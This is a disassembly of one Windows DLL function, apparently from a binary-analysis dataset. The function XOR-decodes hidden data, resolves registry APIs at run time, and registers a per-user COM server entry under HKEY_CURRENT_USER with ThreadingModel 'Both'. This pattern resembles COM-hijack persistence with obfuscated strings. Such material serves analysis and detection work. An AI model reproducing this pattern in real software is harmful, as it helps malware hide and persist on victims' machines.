Function at 0x1800027a0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x290
mov rax, qword [0x180020008]
xor rax, rsp
mov qword [rsp + 0x280], rax
mov rsi, rcx
xor edx, edx
lea rcx, [rsp + 0x70]
mov r8d, 0x208
call fcn.180003b80
movdqa xmm2, xmmword [0x18001ddb0]
lea rax, [0x180020c00]
xor ebp, ebp
mov r9d, ebp
movdqu xmm0, xmmword [rax - 0x10]
lea rax, [rax + 0x40]
add r9d, 0x40
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rax - 0x50], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rax - 0x40]
pxor xmm1, xmm0
movdqu xmmword [rax - 0x40], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rax - 0x30]
pxor xmm1, xmm0
movdqu xmmword [rax - 0x30], xmm1
movdqu xmm0, xmmword [rax - 0x20]
pxor xmm0, xmm2
movdqu xmmword [rax - 0x20], xmm0
cmp r9d, 0x40
jb 0x1800027f2
lea r8, [0x180020bf0]
cmp r9d, 0x4d
jae 0x180002870
movsxd rax, r9d
add rax, r8
nop word [rax + rax]
xor byte [rax], 0xe5
lea rax, [rax + 1]
inc r9d
cmp r9d, 0x4d
jb 0x180002860
mov edx, 0x208
lea rcx, [rsp + 0x70]
call fcn.18000791c
lea rcx, str.kernel32.dll
mov qword [rsp + 0x58], rbp
mov dword [rsp + 0x60], ebp
mov edi, 0x2001b
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.RegCreateKeyExA
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [0x18001dc88]
mov rcx, rbx
mov qword [0x180022210], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [0x18001dc98]
mov rcx, rbx
mov qword [0x180022218], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp qword [0x180022210], rbp
mov qword [0x180022208], rax
je 0x180002a0d
cmp qword [0x180022218], rbp
je 0x180002a0d
test rax, rax
je 0x180002a0d
lea rcx, [0x18001d800]
mov dword [rsp + 0x50], ebp
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, [0x18001d7f0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x180002948
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rsp + 0x50]
call rbx
test eax, eax
jne 0x180002948
mov dword [rsp + 0x50], ebp
jmp 0x180002954
cmp dword [rsp + 0x50], ebp
mov eax, 0x2011b
cmovne edi, eax
lea rax, [rsp + 0x60]
xor r9d, r9d
mov qword [rsp + 0x40], rax
lea rdx, [rsp + 0x70]
lea rax, [rsp + 0x58]
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x30], rbp
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], ebp
call qword [0x180022210]
test eax, eax
jne 0x180002a0d
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp byte [rsi + rax], bpl
jne 0x1800029a0
mov rcx, qword [rsp + 0x58]
lea rdx, [0x18001d760]
inc eax
mov r9d, 2
mov dword [rsp + 0x28], eax
xor r8d, r8d
mov qword [rsp + 0x20], rsi
call qword [0x180022218]
mov rcx, qword [rsp + 0x58]
lea rax, str.Both
mov dword [rsp + 0x28], 5
lea rdx, str.ThreadingModel
mov r9d, 1
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [0x180022218]
mov rcx, qword [rsp + 0x58]
call qword [0x180022208]
mov al, 1
jmp 0x180002a0f
xor al, al
mov rcx, qword [rsp + 0x280]
xor rcx, rsp
call fcn.180002a50
lea r11, [rsp + 0x290]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret